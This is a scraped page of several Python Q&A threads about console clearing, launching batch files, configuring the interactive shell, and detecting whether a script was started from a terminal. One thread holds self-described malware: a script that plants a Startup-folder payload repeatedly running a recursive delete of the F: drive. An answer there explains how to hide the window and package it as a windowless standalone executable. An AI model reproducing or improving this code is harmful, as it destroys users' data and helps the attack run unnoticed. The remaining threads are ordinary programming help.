We Keep Coding

How to refresh/overwrite console output in python

I want to know how to refresh the console of my program as if it was just started. Let's say that my code consists of an infinite loop and it has multiple instances of the print() function within itself, I want, every time that loops returns to its start, all the new data whether there is some change or not to get outputted on the same place of the data that has been outputted the last time.
I have been reading about similar problems others have posted and the answers usually revolve around the idea of using \r, when I do that, however, it's always messy and the strings are either printed halfway or there are missing characters. On Replit there is a module called "replit" and there is a function there called clear() that basically performs what I need, but I don't seem to find it when I am using PyCharm, which means that it is perhaps something that works exclusively within the Replit environment. So I am asking, is there something similar in the standard python library that I can use? Thanks

You can use:
import os
command = 'cls' #for windows
os.system(command)
example:
print('hi')
os.system(command)
print('hi')
Output:
hi
For windows you need:
command = 'cls'
For all others it is:
command = 'clear'
To account for any OS you could use:
import os
def clearConsole():
command = 'clear'
if os.name in ('nt', 'dos'): # If computer is running windows use cls
command = 'cls'
os.system(command)
clearConsole()

There is nothing standard in Python to do it, because Python is not aware of whatever console you are using.
When you call print it is actually writing to a file called "standard output".
It can go to a console if you are running your program in a console (like windows cmd, Linux or Mac OS terminal app, or whatever PyCharm uses).
But it can also be redirected to a regular file by the user of your program.
So there is no standard way.
\r is "carriage return" character. On consoles that respect it, it will set your output position to the beginning of the current line, but will not erase any text already printed on that line (usually).
One way to print text in specific places on the screen is PyCurses.
It supports many consoles and figures out which one you are using automatically.
You can do something like this:
import curses
stdscr = curses.initscr()
stdscr.addstr(x, y, "my string")
By using the addstr isntead of print, you can choose the exact position the text will appear, with X and Y coordinates (first two parameters).
Read the documentation for more ways to manipulate text display with this library.

Running batch file with subprocess.call does not work and freezes IPython console

This is a frequent question, but reading the other threads did not solve the problem for me.
I provide the full paths to make sure I have not made any path formulation errors.
import subprocess
# create batch script
myBat = open(r'.\Test.bat','w+') # create file with writing access
myBat.write('''echo hello
pause''') # write commands to file
myBat.close()
Now I tried running it via three different ways, found them all here on SO. In each case, my IDE Spyder goes into busy mode and the console freezes. No terminal window pops up or anything, nothing happens.
subprocess.call([r'C:\\Users\\felix\\folders\\Batch_Script\\Test.bat'], shell=True)
subprocess.Popen([r'C:\\Users\\felix\\folders\\Batch_Script\Test.bat'], creationflags=subprocess.CREATE_NEW_CONSOLE)
p = subprocess.Popen("Test.bat", cwd=r"C:\\Users\\felix\\folders\\Batch_Script\\")
stdout, stderr = p.communicate()
Each were run with and without the shell=True setting, also with and without raw strings, single backslashes and so on. Can you spot why this wont work?

Spyder doesn't always handle standard streams correctly so it doesn't surprise me that you see no output when using subprocess.call because it normally runs in the same console. It also makes sense why it does work for you when executed in an external cmd prompt.
Here is what you should use if you want to keep using the spyder terminal, but call up a new window for your bat script
subprocess.call(["start", "test.bat"], shell=True)
start Starts a separate Command Prompt window to run a specified program or command. You need shell=True because it's a cmd built-in not a program itself. You can then just pass it your bat file as normal.

You should use with open()...
with open(r'.\Test.bat','w+') as myBat:
myBat.write('echo hello\npause') # write commands to file
I tested this line outside of ide (by running in cmd) and it will open a new cmd window
subprocess.Popen([r'Test.bat'], creationflags=subprocess.CREATE_NEW_CONSOLE)

Hey I have solution of your problem :)
don't use subprocess instead use os
Example :
import os
myBatchFile = f"{start /max} + yourFile.bat"
os.system(myBatchFile)
# "start /max" will run your batch file in new window in fullscreen mode
Thank me later if it helped :)

Python configuration of interactive shell

I'm trying to find out how to configure the "python interactive shell" on linux (i.e. the program executed when typing python in terminal). I'm looking forward to configure stuff such as coloring ps[12], tab completion (?), etc.
I'm aware of ipython/jupyter, bpython, etc. but I don't want fancy (unnecessary?) stuff but only some colored terminal :)
Is it possible to have a kind of config file?

There is an environment variable you can set, PYTHONSTARTUP:
If this is the name of a readable file, the Python commands in that file are executed before the first prompt is displayed in interactive mode. The file is executed in the same namespace where interactive commands are executed so that objects defined or imported in it can be used without qualification in the interactive session. You can also change the prompts sys.ps1 and sys.ps2 and the hook sys.__interactivehook__ in this file.
To set the environment variable, go to your terminal and type:
$ export PYTHONSTARTUP=/path/to/my/python/file.py
($ is the prompt, not something you should type.)
Since that won't last beyond the current session, you probably want to put it in your .bashrc file.
In your /path/to/my/file.py you can do whatever Python stuff you want. For example, you might want to have the primary and secondary prompts to be green:
import sys
color = "\x1b[32m{}\x1b[m"
sys.ps1 = color.format(sys.ps1)
sys.ps2 = color.format(sys.ps2)
# We don't want variables to be around in our interactive sessions.
del color
del sys
You can do whatever you want in there. In mine, I set a history file that is written to atexit. That way, Up can go beyond the current session. I also added tab completion.

Execute python script on startup in the background

I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.

The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.

How to determine if Python script was run via command line?

Background
I would like my Python script to pause before exiting using something similar to:
raw_input("Press enter to close.")
but only if it is NOT run via command line. Command line programs shouldn't behave this way.
Question
Is there a way to determine if my Python script was invoked from the command line:
$ python myscript.py
verses double-clicking myscript.py to open it with the default interpreter in the OS?

If you're running it without a terminal, as when you click on "Run" in Nautilus, you can just check if it's attached to a tty:
import sys
if sys.stdin and sys.stdin.isatty():
# running interactively
print("running interactively")
else:
with open('output','w') as f:
f.write("running in the background!\n")
But, as ThomasK points out, you seem to be referring to running it in a terminal that closes just after the program finishes. I think there's no way to do what you want without a workaround; the program is running in a regular shell and attached to a terminal. The decision of exiting immediately is done just after it finishes with information it doesn't have readily available (the parameters passed to the executing shell or terminal).
You could go about examining the parent process information and detecting differences between the two kinds of invocations, but it's probably not worth it in most cases. Have you considered adding a command line parameter to your script (think --interactive)?

What I wanted was answered here: Determine if the program is called from a script in Python
You can just determine between "python" and "bash". This was already answered I think, but you can keep it short as well.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import psutil
import os
ppid = os.getppid() # Get parent process id
print(psutil.Process(ppid).name())

I don't think there's any reliable way to detect this (especially in a cross-platform manner). For example on OS X, when you double-click a .py file and it tuns with "Python Launcher", it runs in a terminal, identically to if you execute it manually.
Although it may have other issues, you could package the script up with something like py2exe or Platypus, then you can have the double-clickable icon run a specific bit of code to differentiate (import mycode; mycode.main(gui = True) for example)

If you run python IDLE then "pythonw.exe" is being used to run coding while when you run the command line "python.exe" is used to run coding. The python folder path can vary so you have to revert the path to the python folder. m = '\\' and m = m[0] is to get m to be '\' because of escaping.
import sys
a = sys.executable
m = '\\'
m = m[0]
while True:
b = len(a)
c = a[(b - 1)]
if c == m:
break
a = a[:(b - 1)]
if sys.executable == a + 'pythonw.exe':
print('Running in Python IDLE')
else:
print('Running in Command line')

Update for later versions (e.g. Python 3.6 on Ubuntu 16.04): The statement to get the name has changed to psutil.Process(os.getpid()).parent().name()
I believe this CAN be done. At least, here is how I got it working in Python 2.7 under Ubuntu 14.04:
#!/usr/bin/env python
import os, psutil
# do stuff here
if psutil.Process(os.getpid()).parent.name == 'gnome-terminal':
raw_input("Press enter to close...")
Note that -- in Ubuntu 14 with the Gnome desktop (aka Nautilus) -- you might need to do this:
from a Nautilus window (the file browser), select Edit(menu)->Preferences(item) then Behavior(tab)->Executable Text Files(section)->Ask Each Time(radio).
chmod your script to be executable, or -- from a Nautilus window (the file browser) -- right click on the file->Properties(item) then Permissions(tab)->Execute:Allow executing file as program(checkbox)
double-click your file. If you select "Run in Terminal", you should see the "Type enter to close..." prompt.
now try from a bash prompt; you should NOT see the prompt.
To see how this works, you can fiddle with this (based on the answer by from #EduardoIvanec):
#!/usr/bin/env python
import os
import sys
import psutil
def parent_list(proc=None, indent=0):
if not proc:
proc = psutil.Process(os.getpid())
pid = proc.pid
name = proc.name
pad = " " * indent
s = "{0}{1:5d} {2:s}".format(pad, pid, name)
parent = proc.parent
if parent:
s += "\n" + parent_list(parent, indent+1)
return s
def invoked_from_bash_cmdline():
return psutil.Process(os.getpid()).parent.name == "bash"
def invoked_as_run_in_terminal():
return psutil.Process(os.getpid()).parent.name == "gnome-terminal"
def invoked_as_run():
return psutil.Process(os.getpid()).parent.name == "init"
if sys.stdin.isatty():
print "running interactively"
print parent_list()
if invoked_as_run_in_terminal():
raw_input("Type enter to close...")
else:
with open('output','w') as f:
f.write("running in the background!\n")
f.write("parent list:\n")
f.write(parent_list())

From the idea behind this answer, adding for Win10 compatibility (Ripped from Python 2.7 script; modify as needed):
import os, psutil
status = 1
if __name__ =="__main__":
status = MainFunc(args)
args = sys.argv
running_windowed = False
running_from = psutil.Process(os.getpid()).parent().name()
if running_from == 'explorer.exe':
args.append([DEFAULT OR DOUBLE CLICK ARGS HERE])
running_windowed = True
if running_windowed:
print('Completed. Exit status of {}'.format(status))
ready = raw_input('Press Enter To Close')
sys.exit(status)
There is a number of switch like statements you could add to be more universal or handle different defaults.

This is typically done manually/, I don't think there is an automatic way to do it that works for every case.
You should add a --pause argument to your script that does the prompt for a key at the end.
When the script is invoked from a command line by hand, then the user can add --pause if desired, but by default there won't be any wait.
When the script is launched from an icon, the arguments in the icon should include the --pause, so that there is a wait. Unfortunately you will need to either document the use of this option so that the user knows that it needs to be added when creating an icon, or else, provide an icon creation function in your script that works for your target OS.

My solution was to create command line scripts using setuptools. Here are a the relevant parts of myScript.py:
def main(pause_on_error=False):
if run():
print("we're good!")
else:
print("an error occurred!")
if pause_on_error:
raw_input("\nPress Enter to close.")
sys.exit(1)
def run():
pass # run the program here
return False # or True if program runs successfully
if __name__ == '__main__':
main(pause_on_error=True)
And the relevant parts of setup.py:
setup(
entry_points={
'console_scripts': [
'myScript = main:main',
]
},
)
Now if I open myScript.py with the Python interpreter (on Windows), the console window waits for the user to press enter if an error occurs. On the command line, if I run 'myScript', the program will never wait for user input before closing.

Although this isn't a very good solution, it does work (in windows at least).
You could create a batch file with the following contents:
#echo off
for %%x in (%cmdcmdline%) do if /i "%%~x"=="/c" set DOUBLECLICKED=1
start <location of python script>
if defined DOUBLECLICKED pause
If you want to be able to do this with a single file, you could try the following:
#echo off
setlocal EnableDelayedExpansion
set LF=^
:: The 2 empty lines are necessary
for %%x in (%cmdcmdline%) do if /i "%%~x"=="/c" set DOUBLECLICKED=1
echo print("first line of python script") %LF% print("second and so on") > %temp%/pyscript.py
start /wait console_title pyscript.py
del %temp%/pyscript.py
if defined DOUBLECLICKED pause
Batch code from: Pausing a batch file when double-clicked but not when run from a console window?
Multi-line in batch from: DOS: Working with multi-line strings

Okay, the easiest way I found and made was to simply run the program in the command line, even if it was ran in the Python IDLE.
exist = lambda x: os.path.exists(x) ## Doesn't matter
if __name__ == '__main__':
fname = "SomeRandomFileName" ## Random default file name
if exist(fname)==False: ## exist() is a pre-defined lambda function
jot(fname) ## jot() is a function that creates a blank file
os.system('start YourProgram.py') ## << Insert your program name here
os.system('exit'); sys.exit() ## Exits current shell (Either IDLE or CMD)
os.system('color a') ## Makes it look cool! :p
main() ## Runs your code
os.system("del %s" % fname) ## Deletes file name for next time
Add this to the bottom of your script and once ran from either IDLE or Command Prompt, it will create a file, re-run the program in the CMD, and exits the first instance.
Hope that helps! :)

I also had that question and, for me, the best solution is to set an environment variable in my IDE (PyCharm) and check if that variable exists to know if the script is being executed either via the command line or via the IDE.
To set an environment variable in PyCharm check:
How to set environment variables in PyCharm?
Example code (environment variable: RUNNING_PYCHARM = True):
import os
# The script is being executed via the command line
if not("RUNNING_PYCHARM" in os.environ):
raw_input("Press enter to close.")
I hope it works for you.

Based on existing solutions and using sets:
import psutil
def running_interactively():
"""Return True if any of our parent processes is a known shell."""
shells = {"cmd.exe", "bash.exe", "powershell.exe", "WindowsTerminal.exe"}
parent_names = {parent.name() for parent in psutil.Process().parents()}
# print(parent_names)
# print(f"Shell in parents? {shells & parent_names}")
return bool(shells & parent_names)
if not running_interactively():
input("\nPress ENTER to continue.")

This answer is currently specific to Windows, but it can be reconfigured to work with other operating systems in theory. Rather than installing psutil module like most of these answers recommend, you can make use of the subprocess module and the Windows tasklist command to explicitly get the name of the parent process of your Python program.
import os
import subprocess
shells = {"bash.exe", "cmd.exe", "powershell.exe", "WindowsTerminal.exe"}
# These are standard examples, but it can also be used to detect:
# - Nested python.exe processes (IDLE, etc.)
# - IDEs used to develop your program (IPython, Eclipse, PyCharm, etc.)
# - Other operating system dependent shells
s = subprocess.check_output(["tasklist", "/v", "/fo", "csv", "/nh", "/fi", f"PID eq {os.getppid()}"])
# Execute tasklist command to get the verbose info without the header (/nh) of a single process in CSV format (/fo csv)
# Such that its PID is equal to os.getppid()
entry = s.decode("utf-8").strip().strip('"').split('","')
# Decode from bytes to str, remove end whitespace and quotations from CSV format
# And split along the quote delimited commas
# This process may differ and require adjustment when used for an OS other than Windows
condition = entry and entry[0] in shells
# Check first that entry is not an empty sequence, meaning the process has already ended
# If it still exists, check if the first element -- the executable -- exists as an element of the set of executables you're looking for
I hope this is helpful for anyone looking for an answer to this problem while minimizing the number of dependencies you'd need.
This was tested in Python 3.8 and uses an f-string in the subprocess.check_output line of the code, so please be sure to convert the f-string to a compatible syntax if you're working with a version of Python before f-strings were introduced.